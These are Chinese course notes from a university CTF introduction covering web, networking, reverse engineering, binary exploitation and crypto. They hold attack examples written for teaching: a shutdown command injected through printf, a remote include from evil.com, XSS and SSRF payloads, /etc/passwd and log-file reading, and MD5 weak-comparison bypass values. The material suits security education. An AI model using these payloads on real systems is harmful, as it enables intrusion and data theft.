[课程笔记]ZJU CTF101安全攻防实践
教师:常瑞 申文博
TA/教师:TonyCrane, Gooduck, f0rm211n, das schloss, OverJerry, 45gfg9, Esifiel, SuperGay, yyy, pumpkin
课程开源内容:https://courses.zjusec.com/intro/lab0/
很不错的信息安全短学期课程,极大提升自学能力(确信。一共有 Misc,Pwn,Crypto,Web,Reverse 五个专题课程。第一周为基础周,第二周选择两个专题进行精进(Web,Reverse)。每一节课都有对应的一个 Lab,期限两周。唯一的问题是每节课都会用到新的工具,如果不熟练或者环境配置有问题的话整节课的感觉十分炸裂/(ㄒ o ㄒ)/~~。
Web
桌面应用和 Web 应用在架构上有显著的区别。桌面应用通常是在本地运行的独立程序,而 Web 应用则需要依赖客户端和服务端的协作。
- 客户端:你的浏览器
- 可视化
- 人机交互逻辑
- 缓存、Cookie
- 安全
- 服务端:某台或很多台服务器 - Authentication and Authorization - 处理请求 - 安全 用户不能获取不能得到的信息 + 不能执行任意代码RCE
前端也可以有服务器,处理页面跳转等。区别于后端处理业务逻辑的服务器
网络
数据包
数据包(邮件)
传输和路由(分拣)
域名 DNS
DNS(地址簿)对应 IP 地址(门牌号)与容易记忆的域名
- 可以把用户的请求分摊到多个服务器中
- 在更换 IP 地址的时候可以自动更换定位
OSI 七层模型
- 物理层:bit 的发送传输 与 纠错
- 数据链路层:硬件和硬件的通信 e.g. 网卡与路由器
- 网络层:包裹的分拣和物流
- 传输层:有效到达对端 数据包具体到哪个应用
TCP/IP
- IP:网络层 数据包的寻址 主机到主机(快递公司)
- TCP:端到端(菜鸟驿站)两个应用用同一个端口的话就无法区分数据了
无边界的字节流 :不区分数据的开始和结束,由应用层规定边界->可能发生粘包的情况->数据包走私 - UDP:开销小 快 自由度高
DNS
A:v4 地址
AAAA:v6 地址
CNAME:包括别名
TXT:文本
NS:其他 DNS 解析服务器
1 | nslookup |
询问根域名(.
)的 DNS 服务器 (类型为NS
)
询问com.
这样一层一层地询问下去,最终可以得到最准确的 ip 地址
tracert
实现:设置一个`TTL`,到达这么多次跳跃的时候把这个包设置为“死包”
`tracert`就是运用设置 TTL 为 1、2、3……通过收取路由器返回的丢弃包的信息来得知路由的过程
代理 PROXY
VPN
正向代理,看起来像是在内网一样
反向代理
把内网的东西传到外面
可以隐藏原 IP 通过 cloudflare 转发
内网穿透
HTTP
应用层 基于 TCP
超文本传输协议
无状态
客户端向服务端发送请求 ↑
请求头 ↑(包含了 cookie)
可以通过浏览器的cookie editor
插件来查看其组成部分
后端:业务逻辑
不要相信用户的数据(前端过滤等于没有过滤
- 常见技术栈 Node.js Go Rust…
CTF
逻辑漏洞
if money!=0 then money-=price.
What if money=-1
- 这么蠢的洞也有人写?
- 这么写怎么可能有洞?
- 这么多人用怎么可能有洞?
注入:混淆了数据和代码
宏:拼接代码极其危险
例如printf("%d", _____)
正常输入:1
2
3
恶意输入:1); system("shutdown -s -t 0"); //
就变成了printf("%d", 1); system("shutdown -s -t 0"); //)
Cookie 与 Session
Cookie
存在客户端的小型文本文件
暂时储存用户的偏好设置,身份验证信息
所以如果 Cookie 泄露以后 可以直接用该账号的名义进行操作(直接绕过了登录)
Session
储存在服务端的临时数据储存区域
例如用户登录以后创建一个 Session 并将 Session ID 通过 Cookie 发给客户端
以后只需要客户端在请求的时候包含该 ID 就行,由服务端在 Session 中查找数据
PHP
PHP study
e.g.
1 | <!DOCTYPE html> |
SQL
增删改查
1 | -- create |
PRIMARY KEY
主键 互不相同 可以很方便地索引
NOT NULL
不能为空
SELECT *
典型安全问题:直接拼接字符串进行 SQL 查找 如果此时用户恶意注入了一段 SQL 代码,比如将后面注释掉(--
),前面插入恶意代码(SELECT ...
),就会导致数据库中的信息暴露
安全问题
- 逻辑漏洞
a==1&&a==2
结果一定为false
吗
- 任意文件读与任意代码执行:最严重的问题
- 文件包含:例如一个 Web 应用允许用户通过 URL 参数指定要包含的文件,如
index.php?page=about
。攻击者可以通过构造恶意 URL,如index.php?page=http://evil.com/malicious.php
,包含远程恶意文件,从而执行恶意代码。 - 越权:例如一个 Web 应用允许用户查看自己的订单信息,但未正确验证用户的身份。攻击者可以通过篡改 URL 参数,如
order.php?id=123
,查看其他用户的订单信息。
前端:可视化与操作逻辑
HTML - CSS - JS
Type Script
增加了静态类型
Node.js
使用了 Chrome 的 V8 引擎
让 JS 可以在电脑上直接运行而不依赖浏览器
安全问题
XSS
示例: 假设有一个留言板应用,用户可以提交留言。如果应用没有对用户输入进行过滤和编码,攻击者可以提交以下恶意留言: ```
1 | Copy <script>alert('XSS 攻击!');</script> |
当其他用户访问留言板时,这段脚本会在他们的浏览器中执行,弹出一个警告框。
如果脚本内容是其他的恶意代码的话,所有访问留言板的用户都会中招
CSRF
跨站请求伪造
SSRF
服务器端请求伪造
假设有一个 Web 应用允许用户输入 URL 并获取该 URL 的内容。攻击者可以输入内部服务的 URL,获取敏感信息:
1 | <https://example.com/fetch?url=http://internal-service:8080/secret> |
很经典的例子:QQ 机器人对 url 自动生成网页预览,导致内网的网页被暴露
跨域
示例: 假设有一个 Web 应用需要从另一个域名加载数据,但由于同源策略,直接请求会被阻止:
1 | fetch("<https://api.example.com/data>") |
经典老番:地址栏输入网址并访问后发生了什么
- DNS 解析(域名解析):
- 浏览器会首先检查本地缓存中是否有该网址对应的 IP 地址。
- 如果没有,它会向 DNS 服务器发送请求,查询该网址的 IP 地址。
- DNS 服务器返回该网址对应的 IP 地址给浏览器。
- 建立 TCP 连接:
- 浏览器使用前面得到的 IP 地址,通过 TCP/IP 协议与目标服务器建立连接。
- 这包括三次握手过程:客户端发送 SYN 包,服务器返回 SYN-ACK 包,客户端再发送 ACK 包确认连接。
- 发送 HTTP 请求:
- 建立连接后,浏览器会发送一个 HTTP 请求到服务器。这个请求包含了请求方法(如 GET 或 POST)、请求的资源路径以及一些头信息(如浏览器类型、可接受的文件类型等)。
- 服务器处理请求并返回响应:
- 服务器接收到请求后,会处理该请求,查找请求的资源(如 HTML 文件、图片、视频等)。
- 服务器会将找到的资源以及一些头信息(如内容类型、内容长度等)打包成 HTTP 响应,返回给浏览器。
- 浏览器接收响应并渲染页面:
- 浏览器接收到服务器返回的 HTTP 响应后,会解析响应的头信息和内容。
- 如果内容是 HTML 文件,浏览器会解析 HTML 并根据其中的指令(如加载 CSS 文件、执行 JavaScript 脚本等)进行渲染。
- 浏览器会逐步构建 DOM 树和 CSSOM 树,并根据它们生成渲染树,最后将内容绘制到屏幕上。
- 加载资源:
- 如果 HTML 文件中包含了其他资源(如图片、CSS、JavaScript 等),浏览器会根据需要发送额外的 HTTP 请求来加载这些资源。
- 这些资源加载完成后,浏览器会继续渲染页面,更新显示内容。
整个过程通常在短时间内完成,以确保用户能够快速看到网页内容。
MISC
- 取证
- 隐写
- OSINT
- 流量取证
编解码
字符编码
人类理解的字符 计算机理解的 01 串 之间的映射方法
- ASCII:每个字符可以用 7bit 表示
- 80-9F 控制字符
- A0-FF 可见字符
- Unicode 字符集
- UTF-8
- ……
- 中国国标字符集
- GB2312
- GBK
- ……
乱码
每种编码方式的规则不同(乱码),编码的范围也不同(U+FFFD
�)导致出现问题
实践中可以使用 CyberChef、 vscode、 python 进行解编码
1 | "string".encode("UTF-8") |
1 | "string".decode("UTF-8", errors='replace') |
这样会正常输出可以解码的部分 并把错误部分用特殊字符 � 替换
Base 编码
01 串和 01 串之间互相转化
- Base16:用 16 进制表示字节流,长度翻倍
- Base32:按照 5bit 一组 按照字符表(A-Z2-7)映射 长度为 5 的倍数 不足的用‘=’补齐
- Base64:6bit 一组 \frac{\frac{按照标准字符表(可以换)A-Za-z0-9+/ 转换。结果长度必须是 4 的倍数,不足的用‘=’补齐
常用编码-转换-乱码
GBK
OSINT
文件信息泄露
- 文档的原信息
- 工程文件夹 .vscode .git …
- 文件夹路径泄露 markdown 文件图片路径(源文件)
Reverse
编译原理:前端和后端
IR:无论要编译成什么汇编语言,都可以使用 IR
一般逆向用户态可执行程序
- Windows: PE/PE32+
- Linux: ELF(Executable and Linkable Format)
编译
分为前端和后端两部分
1 | gcc/clang -S Hello.c -o Hello.s` |
-S
compile only
-Ox
优化等级
保留所有中间文件
1 | clang -save-temps hello.c -o hello.elf |
前端
生成clang AST
1 | clang -Xclang -ast-dump -S hello.c |
生成LLVM IR
1 | clang -Xclang -emit-llvm -S hello.c -o hello.ll |
后端
LLVM IR 到汇编
1 | llc hello.ll -o hello.s |
汇编到目标文件
1 | llvm-mc -filetype=obj hello.s -o hello.o |
一步到位
1 | llc -filetype=obj hello.ll -o hello.c |
链接
- 静态:把所有依赖的全部连接上 即使在一个“裸机”新环境下也可以正常运行
- 动态:节省磁盘 需要库函数
程序到进程
- 程序是静态的 文件的概念
- 进程是动态的 系统运行时的概念 有(pid)
根据 pid 查看进程相关的信息
1 | cd/proc/<pid> |
逆向
逆向不等于破解
Pwn
Pwn = Find the Bugs + Exploit them
A Software Bug is a failure or flaw in a program that produces undesired or incorrect results. It’s an error that prevents the application from functioning as it should
利用目的:代码远程执行
例题 1
目标:让这个程序 crash
1 |
|
很简单的漏洞,0 进制? 负数进制?会不会有位数溢出?
例题 2
目标:让这个程序暴露出用户名和密码
1 |
|
输入 用户名 和 密码
如果用户名是
admin: 从远程调用一个 password.txt 并比较
其他用户
漏洞:
1 | wrong_password: |
使用%s
打印字符串
如果 password 输入结尾没有 0, 那么会把处于其内存往后的一部分泄露出来
1 | char username[BUFFER_SIZE]; |
password_verify
代码注入 Code Injection
Stack Buffer Overflow
栈的实现基于两个指针
- stack pointer
- frame pointer
两个原语 - push
- pop
1 | PUSH rbp |
1 | POP rbp #栈的抬升 |
例题 1
实现获得access granted
的效果
1 | // gcc -g -fno-stack-protector example.c -o example |
这段代码使用了gets(input)
输入字符串 完全没有限定读入的长度
NEVER USE THIS FUNCTION!
再对比 password.txt 和 input 来判断密码是否正确
发现verified
刚好位于input
数组后面,可以通过溢出来更改verified
的值
这样无论密码是否正确,都可以把verified
设置为true
注意编译的时候要关闭编译器的栈保护功能
1 | gcc -g -fno-stack-protector example.c -o example |
否则会被检测出栈攻击的行为stack smashing detected!
其原理是在原来栈的上面插入一个随机值,如果该值被改变掉了,说明收到了栈攻击。不过这种栈保护依然可以被绕过。通过栈泄露这个随机值,并且维持它即可。
例题 2
1 | // gcc -no-pie -fno-stack-protector example.c -o example |
通过覆盖函数的返回地址,实现把代码劫持到留有的后门中never_reachable_backdoor
让代码跳转到适当的位置
到达这个后门程序以后。就通过系统调用来打开shell
了
例题 3
1 | // gcc -fno-stack-protector example.c -o example |
如果一个程序开了 pie 保护,就难以获得特定函数的起始地址了(运行时地址是某个地址加上一个随机基地址)
可以通过此命令查看程序被什么保护了
1 | checksec <filename> |
破解的方法是:虽然函数的起始地址被加上了一个随机的基地址,但是在运行的过程中函数地址的相对位置还是确定的。可以得知其后三个十六进制位的值,剩余一位(半个字节)可以强行爆破
Crypto
密码学
- 存储:不安全,会被窃取
- 传输:不隐秘,会被窃听
明文:plaintext
加密:encryption
密文:ciphertext
解密:decryption
密码算法:cryptography algorithm
密钥:key 加密或解密所需要的除了密码算法之外的关键信息
对称加密:加密和解密的时候使用同一密钥
非对称加密:加密使用公钥,解密使用私钥
哈希函数:把输入内容单项映射到一个短的摘要上,可用于文件完整性校验
数字签名:对消息进行签名,以防冒名伪造或篡改
古典密码
- 代换密码:用新的替换原有的内容
- 置换密码:打乱原有的顺序
凯撒密码
简单的单表替换密码
也可以扩展到 ASCII 上进行移位
仿射密码
既有乘法又有加法
单表替换密码很容易被词频统计和暴力破解
维吉尼亚密码
多表加密
第 i 个字符使用第 i 个密钥进行偏移
置换密码
加密变换使得信息元素只有位置变化而内容不变
栅栏密码
把明文分成 k 行再进行重新拼接
Hill 密码
把每个字母当作 26 进制数字,将一串字母变成 n 维向量。通过定义一个的矩阵(这个矩阵就是密钥),对向量进行乘法,即可加密。这个矩阵的逆矩阵即为解密的矩阵
专题:Web 安全 SQL 注入部分见另外一篇文章
PHP
快死了,但是还没死透
facebook 是 php 写的
漏洞多,但是容易理解
可以比喻为:在静态的 HTML 里面挖洞,填上动态的东西
SQL injection attacks → “Outdated” attack vector:(small↓↓↓ attack interface)
Prelude: Run a PHP script
1 | php -r "echo 114514" |
Attacks: Git leaks & File leaks
GitHack
Usage
1 | python GitHack.py http://www.openssl.org/.git/ |
.git 版本控制中存在所有文件的历史
Scan possible folders: using
1 | dirsearch -u http:// |
硬扫某个网站的漏洞(有法律风险)
Weak Comparison
1 | var_dump("0e1234"=="0e5678") |
php 把这两个当成了科学计数法,所以数值上是一样的
- Attack vector: hash comparison
有些网站会使用 md5 对字符进行处理后再存放
但是有些字符经过处理后会变成 0e 开头,此时进行 php 的弱比较就会出问题 - MD5:
1 | QNKCDZO -> 0e830400451993494058024219903391 |
In-place: 0e215962017 == md5(0e215962017);
Variable override
1 | $a=array("tony"=>"crane"); |
- Variables and special variables:
- $_GET: URL parameters via query string.
- $_POST: Variables passed via HTTP POST method.
- $_REQUEST: Combines
$_GET
,$_POST
, and$_COOKIE
. - $_SESSION: Session variables for the current script.
- $_COOKIE: Variables passed via HTTP cookies.
- $_FILES: Items uploaded via HTTP POST method.
- $_ENV: Variables passed via the environment method.
- $_SERVER: Server and execution environment information.
- $_GLOBALS: References all global variables available in the script.
Check them viavar_dump(...);
!
- Built-in functions
- phpinfo
- exec
- var_dump
- highlight_file
File inclusion
- Similar to Python
import
: to include is to execute - Make it BOOOOOM: include self
include __FILE__;
- AFR: Arbitrary File Reading - Read
/etc/passwd
to verify whether you’ve achieved AFR or not - 远古时代用来存密码的,验证你做到了任意文件读 - Read/flag
if you could! - Read files where you can (partly or fully) control: - Log files -/var/log/auth.log
-/var/log/apache/access_log
-/var/www/logs/access_log
-/var/log/access_log
- File uploaded by users (or attackers… you! )
从 AFR 到 RCE(远程文件执行)找一个 php 文件然后 include,自己加上开始和结束的标签即可执行
Session
1 | php -r "phpinfo();" | grep "session.save_path" |
获得当前的 Session
Regex: bypass via catastrophic backtracking
1 |
|
虽然运用了正则匹配,来判断输入是不是一个 php 文件,把它拦住,不让他写入文件
但是,